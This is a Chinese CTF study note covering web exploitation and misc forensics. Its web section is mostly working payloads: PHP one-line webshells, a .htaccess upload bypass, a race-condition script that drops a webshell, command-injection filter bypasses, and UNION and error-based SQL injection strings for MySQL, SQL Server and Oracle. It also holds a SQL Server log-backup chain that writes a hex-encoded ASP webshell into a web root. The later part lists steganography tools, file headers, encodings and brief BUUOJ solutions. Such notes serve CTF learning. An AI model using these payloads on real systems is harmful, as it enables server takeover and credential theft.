Web
文件上传
一句话密码
<?php eval($_POST[1]); ?>
GIF89a <script language="php">@eval($_POST[1])</script>
1.上传文件用php提示错误,然后用各种尝试,TXT,phtml……都可以
2.一句话木马,用<? 提示 file include’<?’ 所以选用不包含的一句话木马
htaccess
有很多文件后缀在黑名单内,PHP,PHP3,PHP4,phtml等都不能绕过。
中间件是 .htaccess
可以指定他让什么格式的文件解析成php文件,然后再上传
先上传一个 .htaccess文件 加上以下代码
SetHandler application/x-httpd-php
再上传jpg文件,就会因为htaccess而改成PHP文件,就能获取shell
条件竞争
检测的后缀不符合就会把其删除,所以我们要在删除之前就把该文件储存到本地,所以要在php文件里面输入一串语句,使其执行后直接保存。
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
如此,便会在本地储存一个 xiao.php 文件,就可以连接蚁剑了。
GET语句如下
<?php $content='<?php system($_GET["1"]);?>';file_put_contents('1.php',$content);
目录查询
mb_strpos($_page, '?',?")
网址存在过滤问号,要把?进行URL(或其他)编码,再进行。
/ 根目录。
./ 当前目录。
../ 父级目录。
../多加几个都无所谓,但不能少加,
?%3f../../../../../flag
如上,一个../目录没找到,就往下一级再找,找到了为止。
文件包含
做一道文件包含题,file=flag.php输出了文件,输不出文件源码,所以要用以下代码,使其用base64输出,就可以绕过不输出php文件而输出源码。
php://filter/read=convert.base64-encode/resource=xxx.php
获得base64的源码后再解码就行了。
ping
用;或者|来隔开,本来只能输入一个,用这个就能输入好几个语句。
首先先查看目录,win是dir Linux是ls
接下来用cat来获取,发现有过滤空格。
过滤空格的办法 $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 //url %09
然后再尝试cat falg
发现又过滤了flag。
过滤flag的方法 1.cat fl* 利用*匹配任意 不行 2.echo “Y2F0IGZsYWcucGhw”| base64 -d | bash 也不行 3.ca\t fl\ag.php 不行 4.cat fl’'ag.php 不行 5.a=g;fla$a //可以
move_uploaded_file()漏洞
上传文件名字输入为 1.php/. 上传文件为1.jpg
因为会忽略/.所以上传的文件1.php/.1.jpg就变成了1.php,就可以绕过上传了
SQL注入
1.提示语句有误,而提示的语句只有一半,前面的被忽略,是过滤了一些单词,如 information select from 等,所以要用别的方法略过。
比如
ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3
这里多了个group被(select)嵌套,因为直接输入不成功,要这样跳过一下。
堆叠注入
1.堆叠用;并且记住一定要在末尾加上#不然会报错。
2.语法要用对,是 show databases;不是show database();
3.检查表内容是用desc
4.这里题目找到了数据表内容,并且推测出该提交的查询语句是selsect id,data from words where id =
5.就可以用数据库语法改名,使words改成words1,储存flag的改成words,把字段名flag改成id,但是记住表名和字段名更改是不一样的**
rename table'旧' to '新' ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
6.然后就可以再执行第一次的语句 1’ or 1=1#
ps:有些要用反单引号框起来,不然不能执行(可能是属性问题)``(先英文,再数字1左边那个键)
sqlserver 注入
sqlserver在语句执行错误的时候 会报错 并且会在网页上显示出来。
环境 sql2008+aspx
显示系统信息
and @@version>0 利用mssql在转换类型的时候就出错时 会显示系统信息。
?id=1 and @@version>0
爆出数据库
?id=-1 and db_name()>0
当前用户 dbo
?id=-1 and User_Name()>0
爆出其他数据库
?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb'))>0
爆表
?id=-1 and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0
?id=-1 and (select top 1 name from mydb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('admin'))>0
爆出列
?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0
爆出数据
?id=1 and (select top 1 password from admin)>0
查询当前用户
?id=1 and user_name()>1
2.根据当前用户爆出所有表
?id=1 and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dbo' FOR XML PATH)>1
3.爆出所有的列
?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1
4.爆出数据
?id=1 and ( select username,password from admin FOR XML PATH)>1
sqlserver备份拿WEBSHELL
<%execute(request(“a”))%>
差异备份 经常会出错的 不稳定
log备份一句话
;drop table test_tmp //删除表 ;create table test_tmp (a image); //创建表 ;backup log mydb to disk ='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init; //备份数据库 ;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA) //把一句话木马写进创建表里,用十六进制 ;backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp' //再备份 ;drop table test_tmp //删除表
?id=1;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table test_tmp (a image);backup log mydb to disk ='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp'
select * from art where id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’
oracle
oracle +jsp联合查询注入
oracle 版本信息
?username=SMITH’ union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual –
1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1)
6 服务器sid (select instance_name from v$instance)
7 当前连接用户 (select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)
6当前用户 (SELECT user FROM dual)
6、查询库名
?username=99%27 union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- ?username=99%27 union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --
7、查询表
表 一定要是大写的
//查询第一个表 ?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual -- //查询第二个表 ?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual --
8、查询列
//查询表ADMIN第一个列 ?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual -- //第二个列 ?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --
9、查询数据
?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual --
10、扩展
当前用户:
SELECT user FROM dual;
列出所有用户:
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;
oracle 报错注入
0x1 utl_inaddr.get_host_name()
?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--
0x2 ctxsys.drithsx.sn()
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x3 XMLType()
?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --
0x4 dbms_xdb_version.checkin()
?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
0x5 bms_xdb_version.makeversioned()
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
0x6 dbms_xdb_version.uncheckout()
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
0x7 dbms_utility.sqlid_to_sqlhash()
?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
0x8 ordsys.ord_dicom.getmappingxpath()
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
0x10报错admin表的 用户和密码
?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--
Misc
图片属性可能会藏东西
思路解析:
看到一个没有提示的图片应该首先猜是否可以偏移,其次寻找图片可能存在的隐写方式
图片中可能存在压缩包可以使用winwalk进行抛离
zip文件结构:伪加密
AZPR的使用:爆破/明文
拿到一个文件:binwalk foremost CTRL+F string(linux)
无后缀的文件 文件头/linux的file命令先确定文件类型
ZIP加密:注释/CTRL+F/伪加密/弱密码/CRC32/明文/爆破
DOCX:背景色字体/隐藏文字/改成zip后缀后解压
PNG:tweakpng=->长宽?stegsolve?lsb/双图
jpg:stegdetect
工具类
stegsolve使用方法https://www.cnblogs.com/cat47/p/11483478.html
binwalk工具的详细使用说明https://blog.csdn.net/wxh0000mm/article/details/8568366
pcap文件详解https://blog.csdn.net/ytx2014214081/article/details/80112277
pcap文件是常用的数据报存储格式,需要使用wireshark进行查看
使用了wireshark追踪流
lsb隐写可运用stegsolve工具
fcrackzip
fcrackzip -b -c1 -l 4 -u 文件名
c后面那个是数字1,在后面那个是字母l ,看起来有点像
kali命令
strings查找可打印字符
grep -a “想要查找的” 文件名 正则表达式搜索搜索,并输出匹配结果
file识别文件类型
binwalk分离文件 binwalk 文件名
foremost提取文件 foremost,文件名
dd if=binwalk,formost,文件名 of=输出文件名 bs=一次分离的个数 skip=从哪里开始分离 //bs每次读取一个块,skip从哪里开始读取(先用binwalk分析)(dd可只分离一个)
文件头
JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424DC001
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
数据编码
Morse解密,base解密,进制转换等都可以用百度在线解码器
shellcode //十六进制机器码 \x
urlencode(百分号编码) // 前面加%
unicode(万国码) // \u十六进制 &#x十六进制
aaencode//颜文字组成
jjencode //$符多
uuencode
brainfuck// 由+-<>[]组成
ook// 由ook组成
short ook // 由!?.组成
敲击码 //用5X5的方格
二维码:Data matrix,Maxi Code,Aztec Code,QR Code,Vericode,PDF417,Ultracode,Code 49,Code 16K等
二维码补全工具:QRazyBox
社会主义核心价值观 // 由社会主义核心价值观组成
与佛论禅 // 佛曰:
与熊论道 // 熊曰:
伪加密
0900为真加密,0000为伪加密
wireshark
http and http.request.url contains “index.html”
arp将物理地址转为网络地址的协议
BUU
BUUOJ基础破解
下载压缩包后需要密码打开 使用工具进行暴力破解后进入,将内容进行base64解码得到flag
BUUOJ乌镇峰会种图
下载图片后使用notepad++打开 flag在最后
BUUoj文件中的秘密
下载图片后右键属性 flag就在详细信息中
buuojLSB
使用stegsolve将图片save bin为二维码后用QR扫描得到flag
BUUOJ二维码
使用QR扫描显示secret is here
再使用kali的winwalk工具查看文件发现有.Zip压缩包在使用-e将文件分离出来,分离出来后得到一个压缩包需要密码 使用Ziperello进行暴力破解得到flag
BUUOJ你竟然赶我走
下载文件后使用notepad++打开后使用Ctrl+f查找flag就发现了flag
BUUOJN种方法解决
先使用winhex将文件编码复制到base64解码工具后判断为png格式将文件改为png格式后出现一个一个url 在浏览器打开后得到一个二维码,再使用QR扫描得到flag
BUUOJ假如给我三天光明
打开文件夹中的图片发现下面有一串盲文 翻译后得到另一个压缩包的密码 打开压缩包是一个摩斯密码通过翻译得到flag
BUUOJ小明的保险箱
使用binwalk工具扫描发现一个rar文件将文件分离出来,打开后需要密码,使用工具进行暴力破解后得到flag
BUUOJningen
使用winwalk工具发现一个zip文件分离出来,然后使用ziperello进行暴力破解得到flag
BUUOJ爱因斯坦
先查看图片属性,备注中有信息,然后使用winwalk工具发现一个zip文件分离出来,然后使用ziperello进行暴力破解失败,然后尝试文件中的备注成功得到flag
BUUOJeasycap
下载后是一个pcap 使用wireshark打开后追踪数据流得到flag
隐藏的钥匙
使用notepad==打开后查找flag 发现
flag:base64:(Mzc3Y2JhZGRhMWVjYTJmMmY3M2QzNjI3Nzc4MWYwMGE=)
进行base64解码后得到flag
神秘龙卷风
使用ARCHPR进行暴力破解后打开是一串brainfuck代码解码后得到flag
wireshark
使用wireshark打开后追踪TCP流 中发现flag
答案为过滤post请求
http.request.method==POST
被嗅探的流量
使用wireshark打开后搜索http发现一个jpeg 打开后搜索flag发现答案
zip伪加密
使用暴力破解不出密码 看题目是zip未加密 用hex打开将09 00 改成00 00 就可以打开文档得到flag
https://blog.csdn.net/mochu7777777/article/details/108483175
另外一个世界
使用hex打开发现最后一串2进制数将其转化成ASCII码后得到flag
发表评论